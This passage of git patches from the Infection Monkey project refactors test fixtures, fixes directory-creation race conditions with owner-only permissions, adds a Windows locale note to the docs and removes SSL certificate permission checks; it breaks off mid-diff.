os.chmod(new_file, LINUX_READ_ONLY_BY_USER) + + return new_file + + return inner + + @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") def test_linux_valid_crt_and_key_paths(linux_island_config_options): try: @@ -73,25 +85,24 @@ def test_linux_key_path_insecure_permissions(linux_island_config_options): @pytest.fixture -def windows_island_config_options(tmpdir, create_empty_file): - crt_file = os.path.join(tmpdir, "test.crt") - create_empty_file(crt_file) - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(crt_file, "R") - subprocess.run(cmd_to_change_permissions, shell=True) +def windows_island_config_options(tmpdir: str, create_read_only_windows_file: Callable): + crt_file = create_read_only_windows_file("test.crt") + key_file = create_read_only_windows_file("test.key") - key_file = os.path.join(tmpdir, "test.key") - create_empty_file(key_file) - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(key_file, "R") - subprocess.run(cmd_to_change_permissions, shell=True) + return certificate_test_island_config_options(crt_file, key_file) - return IslandConfigOptions( - { - "ssl_certificate": { - "ssl_certificate_file": crt_file, - "ssl_certificate_key_file": key_file, - } - } - ) + +@pytest.fixture +def create_read_only_windows_file(tmpdir: str, create_empty_file: Callable) -> Callable: + def inner(file_name: str) -> str: + new_file = os.path.join(tmpdir, file_name) + create_empty_file(new_file) + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(new_file, "R") + subprocess.run(cmd_to_change_permissions, shell=True) # noqa DUO116 + + return new_file + + return inner def get_windows_cmd_to_change_permissions(file_name, permissions): @@ -124,7 +135,7 @@ def test_windows_crt_path_insecure_permissions(windows_island_config_options): cmd_to_change_permissions = get_windows_cmd_to_change_permissions( windows_island_config_options.crt_path, "W" ) - subprocess.run(cmd_to_change_permissions, shell=True) + subprocess.run(cmd_to_change_permissions, shell=True) # noqa DUO116 with pytest.raises(InsecurePermissionsError): raise_on_invalid_options(windows_island_config_options) @@ -143,7 +154,7 @@ def test_windows_key_path_insecure_permissions(windows_island_config_options): cmd_to_change_permissions = get_windows_cmd_to_change_permissions( windows_island_config_options.key_path, "W" ) - subprocess.run(cmd_to_change_permissions, shell=True) + subprocess.run(cmd_to_change_permissions, shell=True) # noqa DUO116 with pytest.raises(InsecurePermissionsError): raise_on_invalid_options(windows_island_config_options) From 67d4f18d650f09542a499237ff300c66bb7c4ce0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 14:12:34 -0400 Subject: [PATCH 0742/1360] tests: Refactor create_empty_file() -> create_empty_tmp_file() --- .../cc/server_utils/test_file_utils.py | 24 +++++++------------ .../test_island_config_options_validator.py | 18 +++++++------- .../unit_tests/monkey_island/conftest.py | 10 +++++--- 3 files changed, 23 insertions(+), 29 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index e912ca04363..6297aada9a9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -21,40 +21,32 @@ def test_expand_vars(patched_home_env): @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_true_linux(tmpdir, create_empty_file): - file_name = f"{tmpdir}/test" - - create_empty_file(file_name) +def test_has_expected_permissions_true_linux(tmpdir, create_empty_tmp_file): + file_name = create_empty_tmp_file("test") os.chmod(file_name, 0o754) assert file_utils.has_expected_permissions(file_name, 0o754) @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_false_linux(tmpdir, create_empty_file): - file_name = f"{tmpdir}/test" - - create_empty_file(file_name) +def test_has_expected_permissions_false_linux(tmpdir, create_empty_tmp_file): + file_name = create_empty_tmp_file("test") os.chmod(file_name, 0o755) assert not file_utils.has_expected_permissions(file_name, 0o700) @pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") -def test_has_expected_permissions_true_windows(tmpdir, create_empty_file): - file_name = f"{tmpdir}/test" - - create_empty_file(file_name) +def test_has_expected_permissions_true_windows(tmpdir, create_empty_tmp_file): + file_name = create_empty_tmp_file("test") subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:F", shell=True) # noqa: DUO116 assert file_utils.has_expected_permissions(file_name, 2032127) @pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") -def test_has_expected_permissions_false_windows(tmpdir, create_empty_file): - file_name = f"{tmpdir}/test" - - create_empty_file(file_name) +def test_has_expected_permissions_false_windows(tmpdir, create_empty_tmp_file): + file_name = create_empty_tmp_file("test") subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:R", shell=True) # noqa: DUO116 assert not file_utils.has_expected_permissions(file_name, 2032127) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py index 8f79e000900..b6d9eeb85d2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py @@ -32,13 +32,12 @@ def linux_island_config_options(create_read_only_linux_file: Callable): @pytest.fixture -def create_read_only_linux_file(tmpdir: str, create_empty_file: Callable) -> Callable: +def create_read_only_linux_file(tmpdir: str, create_empty_tmp_file: Callable) -> Callable: def inner(file_name: str) -> str: - new_file = os.path.join(tmpdir, file_name) - create_empty_file(new_file) - os.chmod(new_file, LINUX_READ_ONLY_BY_USER) + full_file_path = create_empty_tmp_file(file_name) + os.chmod(full_file_path, LINUX_READ_ONLY_BY_USER) - return new_file + return full_file_path return inner @@ -93,14 +92,13 @@ def windows_island_config_options(tmpdir: str, create_read_only_windows_file: Ca @pytest.fixture -def create_read_only_windows_file(tmpdir: str, create_empty_file: Callable) -> Callable: +def create_read_only_windows_file(tmpdir: str, create_empty_tmp_file: Callable) -> Callable: def inner(file_name: str) -> str: - new_file = os.path.join(tmpdir, file_name) - create_empty_file(new_file) - cmd_to_change_permissions = get_windows_cmd_to_change_permissions(new_file, "R") + full_file_path = create_empty_tmp_file(file_name) + cmd_to_change_permissions = get_windows_cmd_to_change_permissions(full_file_path, "R") subprocess.run(cmd_to_change_permissions, shell=True) # noqa DUO116 - return new_file + return full_file_path return inner diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 2baa97a02c7..538576aef7c 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -1,4 +1,5 @@ import os +from collections.abc import Callable import pytest @@ -16,9 +17,12 @@ def patched_home_env(monkeypatch, tmpdir): @pytest.fixture -def create_empty_file(): - def inner(file_name): - with open(file_name, "w"): +def create_empty_tmp_file(tmpdir: str) -> Callable: + def inner(file_name: str): + new_file = os.path.join(tmpdir, file_name) + with open(new_file, "w"): pass + return new_file + return inner From 9131f86215d51cd1785bb79169b82b740198563b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 14:20:58 -0400 Subject: [PATCH 0743/1360] island: remove misleading comment We don't check admin permissions at all, and admin is included in "everyone else". --- monkey/monkey_island/cc/server_utils/file_utils.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index e5a386684f4..668aa435665 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -22,8 +22,6 @@ def _has_expected_linux_permissions(path: str, expected_permissions: int) -> boo def _has_expected_windows_permissions(path: str, expected_permissions: int) -> bool: - # checks that user has `expected_permissions` and everyone else has no permissions - import win32api # noqa: E402 import win32security # noqa: E402 From 6aa76497eced804ccaa4343bea4ec618869c128a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 14:48:59 -0400 Subject: [PATCH 0744/1360] island: Use config file in ~/.monkey_island if it exists --- monkey/monkey_island/cc/setup/config_setup.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index 3621ea7fc3d..d1e3e984b3a 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -4,7 +4,7 @@ from monkey_island.cc.environment import server_config_handler from monkey_island.cc.environment.utils import create_secure_directory from monkey_island.cc.server_utils import file_utils -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.setup.island_config_options import IslandConfigOptions @@ -23,8 +23,12 @@ def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, s def _setup_default_config() -> Tuple[IslandConfigOptions, str]: - server_config_path = DEFAULT_SERVER_CONFIG_PATH - create_secure_directory(DEFAULT_DATA_DIR, create_parent_dirs=False) - server_config_handler.create_default_server_config_file() + default_config = server_config_handler.load_server_config_from_file(DEFAULT_SERVER_CONFIG_PATH) + default_data_dir = default_config.data_dir + + create_secure_directory(default_data_dir, create_parent_dirs=False) + + server_config_path = server_config_handler.create_default_server_config_file(default_data_dir) config = server_config_handler.load_server_config_from_file(server_config_path) + return config, server_config_path From 2fc726dc783ed64e5989aa3007f9cc727d37b397 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Jun 2021 15:11:52 -0400 Subject: [PATCH 0745/1360] island: Add missing "f" to format string --- monkey/monkey_island/cc/server_setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index ee177424045..adbf8705024 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -102,7 +102,7 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) logger.info( f"Using certificate path: {config_options.crt_path}, and key path: " - "{config_options.key_path}." + f"{config_options.key_path}." ) if env_singleton.env.is_debug(): From 824a7595bba50f4167dd3f66bd041ad02a5fc48f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 10 Jun 2021 09:29:07 +0300 Subject: [PATCH 0746/1360] Added a support section for windows.md, stating that only English system locale is supported. --- docs/content/setup/windows.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index d1ce0d43cf0..49174dc7734 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -18,6 +18,13 @@ After running the installer, the following prompt should appear on the screen: ## Troubleshooting +### Support + +Only **English** system locale is supported. If your command prompt gives output in a different +language the Infection Monkey is not guaranteed to work. + +For supported Windows versions take a look at [OS support page.](../../reference/operating_systems_support) + ### Missing Windows update The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). From 15a8a4d1c6f69d32b45d9672ef99fc59d78f4dac Mon Sep 17 00:00:00 2001 From: VakarisZ <36815064+VakarisZ@users.noreply.github.com> Date: Thu, 10 Jun 2021 10:17:22 +0300 Subject: [PATCH 0747/1360] Update docs/content/setup/windows.md Co-authored-by: Shreya Malviya --- docs/content/setup/windows.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 49174dc7734..ef516bc24dc 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -21,9 +21,9 @@ After running the installer, the following prompt should appear on the screen: ### Support Only **English** system locale is supported. If your command prompt gives output in a different -language the Infection Monkey is not guaranteed to work. +language, the Infection Monkey is not guaranteed to work. -For supported Windows versions take a look at [OS support page.](../../reference/operating_systems_support) +For supported Windows versions, take a look at the [OS support page](../../reference/operating_systems_support). ### Missing Windows update From 36e03094098b2cd18528b62f0aced0eabe5b05c3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 10 Jun 2021 11:44:50 +0300 Subject: [PATCH 0748/1360] Fixed a race condition for linux secure directory creation, by setting dir permissions on creation. --- .../cc/environment/linux_permissions.py | 7 ------- monkey/monkey_island/cc/environment/utils.py | 14 ++++++-------- .../monkey_island/cc/environment/test_utils.py | 4 +--- 3 files changed, 7 insertions(+), 18 deletions(-) delete mode 100644 monkey/monkey_island/cc/environment/linux_permissions.py diff --git a/monkey/monkey_island/cc/environment/linux_permissions.py b/monkey/monkey_island/cc/environment/linux_permissions.py deleted file mode 100644 index 2280c7637a5..00000000000 --- a/monkey/monkey_island/cc/environment/linux_permissions.py +++ /dev/null @@ -1,7 +0,0 @@ -import os -import stat - - -def set_perms_to_owner_only(path: str): - # Read, write, and execute by owner - os.chmod(path, stat.S_IRWXU) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 907e30d4745..dbed504f27b 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -9,24 +9,24 @@ def is_windows_os() -> bool: if is_windows_os(): import monkey_island.cc.environment.windows_permissions as windows_permissions -else: - import monkey_island.cc.environment.linux_permissions as linux_permissions # noqa: E402 LOG = logging.getLogger(__name__) def create_secure_directory(path: str, create_parent_dirs: bool): if not os.path.isdir(path): - create_directory(path, create_parent_dirs) + _create_secure_directory(path, create_parent_dirs) set_secure_permissions(path) -def create_directory(path: str, create_parent_dirs: bool): +def _create_secure_directory(path: str, create_parent_dirs: bool): try: if create_parent_dirs: - os.makedirs(path) + # Don't split directory creation and permission setting + # because it will temporarily create an accessible directory which anyone can use. + os.makedirs(path, mode=0o700) else: - os.mkdir(path) + os.mkdir(path, mode=0o700) except Exception as ex: LOG.error( f'Could not create a directory at "{path}" (maybe environmental variables could not be ' @@ -39,8 +39,6 @@ def set_secure_permissions(dir_path: str): try: if is_windows_os(): windows_permissions.set_perms_to_owner_only(folder_path=dir_path) - else: - linux_permissions.set_perms_to_owner_only(path=dir_path) except Exception as ex: LOG.error(f"Permissions could not be set successfully for {dir_path}: {str(ex)}") raise ex diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index c373bc84afa..e8287c3a60e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -8,9 +8,7 @@ @pytest.fixture def test_path_nested(tmpdir): - nested_path = "test1/test2/test3" - path = os.path.join(tmpdir, nested_path) - + path = os.path.join(tmpdir, "test1", "test2", "test3") return path From 54f5524760423ae4a59c7ff024cc561f8f61da82 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 10 Jun 2021 15:04:56 +0530 Subject: [PATCH 0749/1360] Fix race condition during Windows directory creation --- monkey/monkey_island/cc/environment/utils.py | 21 ++++++++++++------- .../cc/environment/windows_permissions.py | 11 ++++------ 2 files changed, 18 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index dbed504f27b..bbf2a0ba6dc 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -8,6 +8,8 @@ def is_windows_os() -> bool: if is_windows_os(): + import win32file + import monkey_island.cc.environment.windows_permissions as windows_permissions LOG = logging.getLogger(__name__) @@ -15,11 +17,13 @@ def is_windows_os() -> bool: def create_secure_directory(path: str, create_parent_dirs: bool): if not os.path.isdir(path): - _create_secure_directory(path, create_parent_dirs) - set_secure_permissions(path) + if is_windows_os(): + _create_secure_directory_windows(path) + else: + _create_secure_directory_linux(path, create_parent_dirs) -def _create_secure_directory(path: str, create_parent_dirs: bool): +def _create_secure_directory_linux(path: str, create_parent_dirs: bool): try: if create_parent_dirs: # Don't split directory creation and permission setting @@ -35,10 +39,13 @@ def _create_secure_directory(path: str, create_parent_dirs: bool): raise ex -def set_secure_permissions(dir_path: str): +def _create_secure_directory_windows(path: str): + security_descriptor = windows_permissions.get_sd_for_owner_only_perms() try: - if is_windows_os(): - windows_permissions.set_perms_to_owner_only(folder_path=dir_path) + win32file.CreateDirectory(path, security_descriptor) except Exception as ex: - LOG.error(f"Permissions could not be set successfully for {dir_path}: {str(ex)}") + LOG.error( + f'Could not create a directory at "{path}" (maybe environmental variables could not be ' + f"resolved?): {str(ex)}" + ) raise ex diff --git a/monkey/monkey_island/cc/environment/windows_permissions.py b/monkey/monkey_island/cc/environment/windows_permissions.py index 225e52370b2..02640e734b3 100644 --- a/monkey/monkey_island/cc/environment/windows_permissions.py +++ b/monkey/monkey_island/cc/environment/windows_permissions.py @@ -4,12 +4,10 @@ import win32security -def set_perms_to_owner_only(folder_path: str) -> None: +def get_sd_for_owner_only_perms() -> None: user = get_user_pySID_object() + security_descriptor = win32security.SECURITY_DESCRIPTOR() - security_descriptor = win32security.GetFileSecurity( - folder_path, win32security.DACL_SECURITY_INFORMATION - ) dacl = win32security.ACL() dacl.AddAccessAllowedAce( win32security.ACL_REVISION, @@ -17,9 +15,8 @@ def set_perms_to_owner_only(folder_path: str) -> None: user, ) security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0) - win32security.SetFileSecurity( - folder_path, win32security.DACL_SECURITY_INFORMATION, security_descriptor - ) + + return security_descriptor def get_user_pySID_object(): From 1fa2ffe8f75009aedf8d5d51feb090d76b13d8e0 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 10 Jun 2021 15:16:01 +0530 Subject: [PATCH 0750/1360] Fix Windows directory creation --- monkey/monkey_island/cc/environment/utils.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index bbf2a0ba6dc..77d1216f409 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -9,6 +9,7 @@ def is_windows_os() -> bool: if is_windows_os(): import win32file + import win32security import monkey_island.cc.environment.windows_permissions as windows_permissions @@ -40,9 +41,10 @@ def _create_secure_directory_linux(path: str, create_parent_dirs: bool): def _create_secure_directory_windows(path: str): - security_descriptor = windows_permissions.get_sd_for_owner_only_perms() try: - win32file.CreateDirectory(path, security_descriptor) + security_attributes = win32security.SECURITY_ATTRIBUTES() + security_attributes.SECURITY_DESCRIPTOR = windows_permissions.get_sd_for_owner_only_perms() + win32file.CreateDirectory(path, security_attributes) except Exception as ex: LOG.error( f'Could not create a directory at "{path}" (maybe environmental variables could not be ' From 74111f80e9d560c8307c6fee85435c321e5f4914 Mon Sep 17 00:00:00 2001 From: shreyamalviya Date: Thu, 10 Jun 2021 15:19:40 +0530 Subject: [PATCH 0751/1360] Remove `create_parents_dir` parameter when creating directories Can't create parents on Windows using pywin32. Removed it completely so that behavior is consistent across OSes. --- monkey/monkey_island/cc/environment/utils.py | 15 +++++-------- monkey/monkey_island/cc/setup/config_setup.py | 4 ++-- .../cc/setup/mongo/mongo_setup.py | 2 +- .../cc/environment/test_utils.py | 22 +++++-------------- 4 files changed, 14 insertions(+), 29 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 77d1216f409..866cf5d4f17 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -16,22 +16,19 @@ def is_windows_os() -> bool: LOG = logging.getLogger(__name__) -def create_secure_directory(path: str, create_parent_dirs: bool): +def create_secure_directory(path: str): if not os.path.isdir(path): if is_windows_os(): _create_secure_directory_windows(path) else: - _create_secure_directory_linux(path, create_parent_dirs) + _create_secure_directory_linux(path) -def _create_secure_directory_linux(path: str, create_parent_dirs: bool): +def _create_secure_directory_linux(path: str): try: - if create_parent_dirs: - # Don't split directory creation and permission setting - # because it will temporarily create an accessible directory which anyone can use. - os.makedirs(path, mode=0o700) - else: - os.mkdir(path, mode=0o700) + # Don't split directory creation and permission setting + # because it will temporarily create an accessible directory which anyone can use. + os.mkdir(path, mode=0o700) except Exception as ex: LOG.error( f'Could not create a directory at "{path}" (maybe environmental variables could not be ' diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index d1e3e984b3a..103137a9105 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -18,7 +18,7 @@ def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str def _setup_config_by_cmd_arg(server_config_path) -> Tuple[IslandConfigOptions, str]: server_config_path = file_utils.expand_path(server_config_path) config = server_config_handler.load_server_config_from_file(server_config_path) - create_secure_directory(config.data_dir, create_parent_dirs=True) + create_secure_directory(config.data_dir) return config, server_config_path @@ -26,7 +26,7 @@ def _setup_default_config() -> Tuple[IslandConfigOptions, str]: default_config = server_config_handler.load_server_config_from_file(DEFAULT_SERVER_CONFIG_PATH) default_data_dir = default_config.data_dir - create_secure_directory(default_data_dir, create_parent_dirs=False) + create_secure_directory(default_data_dir) server_config_path = server_config_handler.create_default_server_config_file(default_data_dir) config = server_config_handler.load_server_config_from_file(server_config_path) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index e62bbcdb713..0ab8ca0c008 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -35,7 +35,7 @@ def _create_db_dir(db_dir_parent_path) -> str: db_dir = os.path.join(db_dir_parent_path, DB_DIR_NAME) logger.info(f"Database content directory: {db_dir}.") - create_secure_directory(db_dir, create_parent_dirs=False) + create_secure_directory(db_dir) return db_dir diff --git a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py index e8287c3a60e..47e4ac8f6eb 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/environment/test_utils.py @@ -20,38 +20,26 @@ def test_path(tmpdir): return path -def test_create_secure_directory__parent_dirs(test_path_nested): - create_secure_directory(test_path_nested, create_parent_dirs=True) - assert os.path.isdir(test_path_nested) - - def test_create_secure_directory__already_created(test_path): os.mkdir(test_path) assert os.path.isdir(test_path) - create_secure_directory(test_path, create_parent_dirs=False) + create_secure_directory(test_path) def test_create_secure_directory__no_parent_dir(test_path_nested): with pytest.raises(Exception): - create_secure_directory(test_path_nested, create_parent_dirs=False) - - -@pytest.mark.skipif(is_windows_os(), reason="Tests Posix (not Windows) permissions.") -def test_create_secure_directory__perm_linux(test_path_nested): - create_secure_directory(test_path_nested, create_parent_dirs=True) - st = os.stat(test_path_nested) - return bool(st.st_mode & stat.S_IRWXU) + create_secure_directory(test_path_nested) @pytest.mark.skipif(not is_windows_os(), reason="Tests Windows (not Posix) permissions.") def test_create_secure_directory__perm_windows(test_path): - import win32api # noqa: E402 - import win32security # noqa: E402 + import win32api + import win32security FULL_CONTROL = 2032127 ACE_TYPE_ALLOW = 0 - create_secure_directory(test_path, create_parent_dirs=False) + create_secure_directory(test_path) user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) security_descriptor = win32security.GetNamedSecurityInfo( From 937dbac4d04c5d4af13a176ebe9888a3054c8530 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 10 Jun 2021 06:50:00 -0400 Subject: [PATCH 0752/1360] island: Remove SSL permissions checks These checks prevent the docker container from working properly, as the default SSL cert must have at least 444 permissions. --- monkey/common/utils/exceptions.py | 4 - .../cc/server_utils/file_utils.py | 52 ----------- .../setup/island_config_options_validator.py | 21 ----- .../cc/server_utils/test_file_utils.py | 35 -------- .../test_island_config_options_validator.py | 86 ++----------------- 5 files changed, 6 insertions(+), 192 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 632c08991a4..8396b423b2e 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -52,7 +52,3 @@ class FindingWithoutDetailsError(Exception): class DomainControllerNameFetchError(FailedExploitationError): """ Raise on failed attempt to extract domain controller's name """ - - -class InsecurePermissionsError(Exception): - """ Raise when a file does not have permissions that are secure enough """ diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 668aa435665..225fb8732a0 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -1,57 +1,5 @@ import os -from monkey_island.cc.environment.utils import is_windows_os - def expand_path(path: str) -> str: return os.path.expandvars(os.path.expanduser(path)) - - -def has_expected_permissions(path: str, expected_permissions: int) -> bool: - if is_windows_os(): - return _has_expected_windows_permissions(path, expected_permissions) - - return _has_expected_linux_permissions(path, expected_permissions) - - -def _has_expected_linux_permissions(path: str, expected_permissions: int) -> bool: - file_mode = os.stat(path).st_mode - file_permissions = file_mode & 0o777 - - return file_permissions == expected_permissions - - -def _has_expected_windows_permissions(path: str, expected_permissions: int) -> bool: - import win32api # noqa: E402 - import win32security # noqa: E402 - - FULL_CONTROL = 2032127 - ACE_TYPE_ALLOW = 0 - ACE_TYPE_DENY = 1 - - admins_sid, _, _ = win32security.LookupAccountName("", "Administrators") - user_sid, _, _ = win32security.LookupAccountName("", win32api.GetUserName()) - - security_descriptor = win32security.GetNamedSecurityInfo( - path, win32security.SE_FILE_OBJECT, win32security.DACL_SECURITY_INFORMATION - ) - - acl = security_descriptor.GetSecurityDescriptorDacl() - - for i in range(acl.GetAceCount()): - ace = acl.GetAce(i) - ace_type, _ = ace[0] # 0 for allow, 1 for deny - permissions = ace[1] - sid = ace[-1] - - if sid == user_sid: - if not (permissions == expected_permissions and ace_type == ACE_TYPE_ALLOW): - return False - elif sid == admins_sid: - continue - # TODO: consider removing; so many system accounts/groups exist, it's likely to fail - else: - if not (permissions == FULL_CONTROL and ace_type == ACE_TYPE_DENY): - return False - - return True diff --git a/monkey/monkey_island/cc/setup/island_config_options_validator.py b/monkey/monkey_island/cc/setup/island_config_options_validator.py index 5febe16ab19..032eeb2e259 100644 --- a/monkey/monkey_island/cc/setup/island_config_options_validator.py +++ b/monkey/monkey_island/cc/setup/island_config_options_validator.py @@ -1,34 +1,13 @@ import os -from common.utils.exceptions import InsecurePermissionsError -from monkey_island.cc.environment.utils import is_windows_os -from monkey_island.cc.server_utils.file_utils import has_expected_permissions from monkey_island.cc.setup.island_config_options import IslandConfigOptions def raise_on_invalid_options(options: IslandConfigOptions): - LINUX_READ_ONLY_BY_USER = 0o400 - WINDOWS_READ_ONLY = 1179817 - _raise_if_not_isfile(options.crt_path) - _raise_if_incorrect_permissions(options.crt_path, LINUX_READ_ONLY_BY_USER, WINDOWS_READ_ONLY) - _raise_if_not_isfile(options.key_path) - _raise_if_incorrect_permissions(options.key_path, LINUX_READ_ONLY_BY_USER, WINDOWS_READ_ONLY) def _raise_if_not_isfile(f: str): if not os.path.isfile(f): raise FileNotFoundError(f"{f} does not exist or is not a regular file.") - - -def _raise_if_incorrect_permissions( - f: str, linux_expected_permissions: int, windows_expected_permissions: int -): - expected_permissions = ( - windows_expected_permissions if is_windows_os() else linux_expected_permissions - ) - if not has_expected_permissions(f, expected_permissions): - raise InsecurePermissionsError( - f"The file {f} has incorrect permissions. Expected: {expected_permissions}" - ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py index 6297aada9a9..cff7161357e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_file_utils.py @@ -1,7 +1,4 @@ import os -import subprocess - -import pytest from monkey_island.cc.server_utils import file_utils @@ -18,35 +15,3 @@ def test_expand_vars(patched_home_env): expected_path = os.path.join(patched_home_env, "test") assert file_utils.expand_path(input_path) == expected_path - - -@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_true_linux(tmpdir, create_empty_tmp_file): - file_name = create_empty_tmp_file("test") - os.chmod(file_name, 0o754) - - assert file_utils.has_expected_permissions(file_name, 0o754) - - -@pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") -def test_has_expected_permissions_false_linux(tmpdir, create_empty_tmp_file): - file_name = create_empty_tmp_file("test") - os.chmod(file_name, 0o755) - - assert not file_utils.has_expected_permissions(file_name, 0o700) - - -@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") -def test_has_expected_permissions_true_windows(tmpdir, create_empty_tmp_file): - file_name = create_empty_tmp_file("test") - subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:F", shell=True) # noqa: DUO116 - - assert file_utils.has_expected_permissions(file_name, 2032127) - - -@pytest.mark.skipif(os.name == "posix", reason="Tests Windows (not Posix) permissions.") -def test_has_expected_permissions_false_windows(tmpdir, create_empty_tmp_file): - file_name = create_empty_tmp_file("test") - subprocess.run(f"echo y| cacls {file_name} /p %USERNAME%:R", shell=True) # noqa: DUO116 - - assert not file_utils.has_expected_permissions(file_name, 2032127) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options_validator.py index 